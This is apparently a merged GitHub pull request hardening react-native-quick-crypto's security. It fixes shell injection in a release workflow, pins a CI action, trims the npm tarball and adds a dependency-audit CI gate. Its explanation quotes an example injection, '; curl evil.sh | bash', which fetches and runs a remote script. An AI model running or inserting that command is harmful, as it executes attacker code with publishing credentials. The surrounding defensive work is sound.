Skip to content

feat(security): Phase 5 — cross-cutting security audit (CI hardening + tarball trim + audit gate)#992

Merged
boorad merged 5 commits into
mainfrom
feat/security-audit-phase-5
Apr 27, 2026
Merged

feat(security): Phase 5 — cross-cutting security audit (CI hardening + tarball trim + audit gate)#992
boorad merged 5 commits into
mainfrom
feat/security-audit-phase-5

Conversation

@boorad
Copy link
Copy Markdown
Collaborator

@boorad boorad commented Apr 27, 2026

Summary

Closes out Phase 5 of the security audit (plans/done/security-audit.md) — the cross-cutting items: bun audit, native-dep CVE check, GitHub Actions hardening, published-artifact trim, and Expo plugin code-injection review. Three of those phases (5.1, 5.2, 5.5) were pure audits with no code changes; two (5.3, 5.4) required fixes shipped here. A code-review pass after the initial Phase 5 commits surfaced two extra follow-ups (a tighter tarball trim and an audit-baseline CI gate) which are also in this PR.

Changes

5.3 — GitHub Actions hardening (fb14a13)

  • Shell-injection fix in release.yml: ${{ inputs.version }} and ${{ inputs.dry-run }} were interpolated directly into run: shell blocks. Even with workflow_dispatch requiring a maintainer, a compromised account could inject ; curl evil.sh | bash and abuse id-token: write (npm OIDC trust). Both rewritten to env: indirection with "$VAR" in shell — the GitHub-recommended pattern.
  • Pin reviewdog/action-cpplint@master → SHA 9552c62f… (= v1.11.0). Verified via GH API that 12 master commits since v1.11.0 are renovate-bot dependency bumps with no functional regressions.
  • Add minimum-scope permissions: blocks to validate-cpp.yml, validate-js.yml, e2e-android-test.yml, e2e-ios-test.yml — each commented with why the scopes are needed (reviewdog review comments / post-maestro-screenshot PR comments).

5.4 — Published-artifact trim (d3390d7)

npm pack --dry-run against the previous files: entry was 2133 entries / 18.66 MB unpacked. Replaced the blanket "deps" with precise per-dep allowlists matching what QuickCrypto.podspec and android/CMakeLists.txt actually consume, and excluded ios/libsodium-stable (the podspec downloads it at consume-time when SODIUM_ENABLED=1 and rm -rf's it when disabled — the vendored 6.16 MB / 599-file copy was pure publish-time pollution).

Phase 5 review follow-up (596febd)

Code review of the Phase 5 commits found two extra opportunities:

  • Tighter files: allowlist: Phase 5.4 dropped the top-level Rust crate at deps/blake3/{src, b3sum, benches, ...} but missed deps/blake3/c/blake3_c_rust_bindings/ (54 KB of Rust bindings inside the C dir) and ~1.0 MB of x86 Windows SIMD assembly that's never compiled on iOS/Android. Added 16 targeted exclusions.
  • Runtime-only bun audit CI gate: New audit_runtime_deps job in validate-js.yml. Workspace-level bun audit --prod walks through optional peer-dep tooling (expo, react-native, etc.) which surfaces ~70 advisories that never reach a consumer's runtime bundle. The new job creates a fresh package.json with only the 6 runtime dependencies: of RNQC, runs bun install cold, and audits there with --audit-level=high. Locks in Phase 5.1's "zero advisories in the runtime tree" baseline as automated regression prevention.

5.1 / 5.2 / 5.5 (406a3c4, 155c1c1)

Pure-audit phases — no code changes, only progress-log entries in plans/done/security-audit.md:

Tarball-trim metrics

Original Phase 5.4 After follow-up Total Δ
Files 2133 1024 989 −54%
Unpacked 18.66 MB 6.38 MB 5.6 MB −70%
Packed 4.55 MB 0.90 MB 0.85 MB −81%

Verified post-trim: all build-required files present (BLAKE3 portable+NEON+headers, ncrypto includes + 3 .cpp files in CMakeLists, simdutf amalgam plus all 10 per-arch subdirs, fastpbkdf2, full cpp/, lib/, nitrogen/, android/ trees).

Follow-up dep-bump issues (created out of this PR)

Phase 5.2's native-dep CVE check identified bumps that aren't blockers but should be tracked:

Test plan

  • CI: Validate JS — confirm new audit_runtime_deps job goes green (expected: zero high+ advisories in the runtime tree)
  • CI: Validate C++ — confirm pinned reviewdog/action-cpplint@9552c62f… runs cleanly
  • CI: E2E iOS — confirm new permissions: block doesn't break the maestro-screenshot PR comment composite
  • CI: E2E Android — same
  • After merge: dry-run release.yml (with dry-run: true) to confirm the env:-indirected version/dry-run inputs still flow through to bun release and bun release-it
  • After merge: spot-check the published 1.1.0 tarball (or next version) to confirm the trimmed files: produces the expected ~989-file / 0.85 MB packed artifact

boorad added 5 commits April 27, 2026 13:52
Three findings from the Phase 5 GitHub Actions security review.

(1) `release.yml` — `${{ inputs.version }}` and `${{ inputs.dry-run }}`
were interpolated directly into `run:` shell blocks. Even though
`workflow_dispatch` requires a maintainer to trigger, a malicious or
compromised maintainer account could inject `; curl evil.sh | bash` and
run arbitrary code with the workflow's `contents: write` + `id-token: write`
scopes (npm OIDC trust). Replaces both `inputs.*` interpolations with
`env: VAR: \${{ inputs.* }}` indirection and `\$VAR` in shell — the
GitHub-recommended pattern.

(2) `reviewdog/action-cpplint@master` was floating on the master branch,
so any push the publisher makes (or a compromised account) executes in CI
with whatever scopes the workflow holds. Pin to commit SHA
`9552c62f4bd516c1e3a6f84eae56bd864cc304c6` (= v1.11.0). The 12 master
commits since v1.11.0 are renovate-bot dependency bumps (actions/checkout
v5→v6, peter-evans/create-pull-request v7→v8) — no functional regressions.

(3) Four workflows lacked an explicit `permissions:` block, so they
inherited the repo's default `GITHUB_TOKEN` scope (typically `read/write:all`
on older repos). Add minimum scopes per workflow:
- `validate-cpp.yml`, `validate-js.yml`: `contents: read`, `checks: write`,
  `pull-requests: write` — reviewdog needs to post review comments.
- `e2e-android-test.yml`, `e2e-ios-test.yml`: `contents: read`,
  `pull-requests: write` — `post-maestro-screenshot` composite posts a
  PR comment with the imgbb-uploaded screenshot URL.

Refs: plans/todo/security-audit.md Phase 5.3
Phase 5 published-artifact review: confirm the npm tarball ships zero
keys/secrets/credentials and exclude irrelevant submodule/build cruft so
the published surface area matches what the build actually consumes.

Concrete findings from `npm pack --dry-run` against the previous
`files:` allowlist: 2133 entries / 18.66 MB unpacked, much of it dead
weight from upstream submodule trees and a vendored libsodium copy.

Changes to `files:`:

- Drop blanket `"deps"` and replace with precise per-dep allowlists:
  - `deps/blake3/c` (only the C amalgam — the Rust crate at
    `deps/blake3/{src,b3sum,benches,reference_impl,tools,test_vectors,...}`,
    `Cargo.toml`, `.cargo/`, `.github/`, `media/`, etc. were 1.5+ MB of
    pure noise the iOS/Android C build never touches).
  - `deps/blake3/LICENSE_{A2,A2LLVM,CC0}` for legal compliance.
  - `deps/fastpbkdf2` (already minimal — `.c` + `.h`).
  - `deps/ncrypto/include`, `deps/ncrypto/src/{aead,engine,ncrypto}.cpp`,
    `deps/ncrypto/LICENSE` (drops Bazel files, `cmake/`, `tests/`,
    `CHANGELOG.md`, `release-please-config.json`, `pyproject.toml`).
  - `deps/simdutf/include`, `deps/simdutf/src` (amalgam build needs
    every arch subdir — arm64, haswell, icelake, lasx, lsx, ppc64, rvv,
    westmere, fallback, generic, plus tables/ and simdutf/), plus
    `LICENSE-MIT` / `LICENSE-APACHE`. Drops `benchmarks/`, `fuzz/`,
    `tests/`, `scripts/`, `tools/`, `doc/`, `singleheader/`,
    `AI_USAGE_POLICY.md`, top-level `CMakeLists.txt`, etc.
- Add `!ios/libsodium-stable` exclusion. The podspec already downloads
  libsodium at consume-time when SODIUM_ENABLED=1 (lines 27-43 of
  QuickCrypto.podspec) and `rm -rf`'s it when disabled (line 67) — the
  vendored copy was 6.16 MB / 599 files of pure publish-time pollution
  including 2.7 MB of test vectors (`test/default/sign.c`) and Visual
  Studio project files for vs2010-vs2026.
- Add `!**/*.tsbuildinfo` to drop tsc's incremental-build cache file
  from `lib/`.
- Add `!deps/simdutf/src/CMakeLists.txt` (build script unused by the
  RN/iOS/Android consumer).
- Drop dangling entries `"scripts"` (directory doesn't exist) and
  `"react-native.config.js"` (file doesn't exist) — npm silently
  skipped both, but they were misleading.

Verification — `npm pack --dry-run`:

|              | Before | After  | Δ      |
| ------------ | ------ | ------ | ------ |
| Files        | 2133   | 1024   | −52%   |
| Unpacked     | 18.66M | 6.38M  | −66%   |
| Packed       |  4.55M | 0.90M  | −80%   |

All build-required files (BLAKE3 portable+NEON+headers, ncrypto includes
and the 3 .cpp files referenced by CMakeLists.txt, simdutf amalgam +
all per-arch subdirs, fastpbkdf2, every cpp/, src/, lib/, nitrogen/,
android/{build.gradle,gradle.properties,CMakeLists.txt,src/}) verified
present after the change.

No keys, certificates, .env files, or credentials were ever in the
tarball before this change either — the only file matching
key-extension regex was `deps/simdutf/scripts/docker/llvm.gpg`, an LLVM
Debian *public* key that simdutf's Docker scripts use, now excluded as
collateral of dropping `deps/simdutf/scripts/`.

Refs: plans/todo/security-audit.md Phase 5.4
Mark all five Phase 5 sub-sections complete and append progress-log
entries.

[5.1] `bun audit` triage. 83 advisories / 24 unique vulnerable packages
(3 critical / 50 high / 25 moderate / 5 low) — none affect the published
runtime tree of `react-native-quick-crypto`. The 6 runtime
`dependencies` are clean; every advisory is in dev tooling, the example
app, or `expo`'s build-time CLI.

[5.2] Native dep CVE check. BLAKE3 1.8.2 SAFE; ncrypto v1.1.3 SAFE;
fastpbkdf2 SAFE; OpenSSL-Universal 3.6.1 → recommend bump to 3.6.2 when
the pod ships it; OpenSSL Android prefab is one minor behind iOS at
3.6.0 → required-bump to 3.6.1+; libsodium 1.0.20's CVE-2025-69277 lives
in `crypto_core_ed25519_is_valid_point()` which RNQC does not call.
None require fixes inside this PR; tracked as separate dependency-bump
follow-ups.

[5.5] Expo plugin code-injection review — clean. No user-controlled
values are interpolated into shell, paths, or generated source; all
file-system writes use `path.join(modRequest.platformProjectRoot,
'Podfile')` with Expo-controlled values; `ConfigProps` is a single
optional boolean used only as a gate. No fix required.

Phase 5.3 (GH Actions hardening) and 5.4 (published-artifact trim) were
fixes, not pure audits, and live in their own commits.

Refs: plans/todo/security-audit.md Phase 5 (now fully complete)
All five phases (0–5) are complete and example-app tests pass on the
Phase 5 branch. Per the file's own instructions (line 225: "Move this
file to plans/done/ when the full audit is complete"), promote it.
…it gate

Two follow-ups identified in code review of the Phase 5 PR.

(1) Tighter `files:` allowlist. The Phase 5.4 trim correctly dropped the
top-level Rust crate at `deps/blake3/{src, b3sum, benches, ...}`, but
missed dead files inside `deps/blake3/c/` itself:

- `blake3_c_rust_bindings/` (54 KB) — Cargo.toml, .rs files, build.rs,
  cross_test.sh. Rust subfolder embedded in the C amalgam dir.
- `*_x86-64_*.{S,asm}` (~1.0 MB) — x86 SIMD assembly variants. The
  podspec's `source_files` glob is `*.{h,c}` which never picks up `.S`
  or `.asm`, and Android CMakeLists explicitly enumerates only
  `blake3.c`, `blake3_dispatch.c`, `blake3_portable.c`, `blake3_neon.c`.
- `blake3_{avx2,avx512,sse2,sse41}.c` (~107 KB) — the .c versions of
  x86 SIMD that podspec's `exclude_files` already drops from
  compilation, but the npm pack still ships.
- `blake3_tbb.cpp`, `main.c`, `example.c`, `example_tbb.c` —
  example/main files explicitly in podspec `exclude_files`.
- `test.py`, `Makefile.testing`, `CMakeLists.txt`, `CMakePresets.json`,
  `blake3-config.cmake.in`, `libblake3.pc.in`, `dependencies/` —
  alternative-build-system scaffolding unused at consume-time.

Verified post-trim: all 6 BLAKE3 source files referenced by Android
CMakeLists are present (blake3.{c,h}, blake3_dispatch.c,
blake3_impl.h, blake3_neon.c, blake3_portable.c). Only the README is
forced-included by npm's hardcoded "always ship README/LICENSE" rule.

`npm pack --dry-run` deltas:

|             | Phase 5.4 | After  | Δ      |
| ----------- | --------- | ------ | ------ |
| Files       | 1024      | 989    | −3.4%  |
| Unpacked    | 6.38 MB   | 5.6 MB | −12%   |
| Packed      | 0.90 MB   | 0.85 MB| −5%    |

Cumulative vs. original:

|             | Original  | Now    | Δ      |
| ----------- | --------- | ------ | ------ |
| Files       | 2133      | 989    | −54%   |
| Unpacked    | 18.66 MB  | 5.6 MB | −70%   |
| Packed      | 4.55 MB   | 0.85 MB| −81%   |

(2) New CI job: `audit_runtime_deps` in `validate-js.yml`. Locks in
Phase 5.1's audit baseline ("zero advisories in the runtime tree") as
an automated regression gate. Workspace-level `bun audit --prod` walks
through optional peer-dep tooling (expo, react-native, jest, etc.)
which currently surfaces ~70 advisories that never reach a consumer's
runtime bundle — making it useless as a CI gate. Instead, the new job
creates a fresh package.json containing only the 6 runtime
`dependencies:` of `react-native-quick-crypto`
(`@craftzdog/react-native-buffer`, `events`, `readable-stream`,
`safe-buffer`, `string_decoder`, `util`), runs `bun install` cold, and
audits there with `--audit-level=high`. Verified locally: zero
vulnerabilities, exit 0. Any future PR that adds a high+/critical
runtime advisory will fail this check.

Refs: Phase 5 review follow-up
@boorad boorad self-assigned this Apr 27, 2026
@github-actions
Copy link
Copy Markdown
Contributor

🤖 End-to-End Test Results - iOS

Status: ✅ Passed
Platform: iOS
Run: 25013121031

📸 Final Test Screenshot

Maestro Test Results - ios

Screenshot automatically captured from End-to-End tests and will expire in 30 days


This comment is automatically updated on each test run.

@github-actions
Copy link
Copy Markdown
Contributor

🤖 End-to-End Test Results - Android

Status: ✅ Passed
Platform: Android
Run: 25013121021

📸 Final Test Screenshot

Maestro Test Results - android

Screenshot automatically captured from End-to-End tests and will expire in 30 days


This comment is automatically updated on each test run.

@boorad boorad merged commit e720ae2 into main Apr 27, 2026
11 of 12 checks passed
@boorad boorad deleted the feat/security-audit-phase-5 branch April 27, 2026 19:16
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant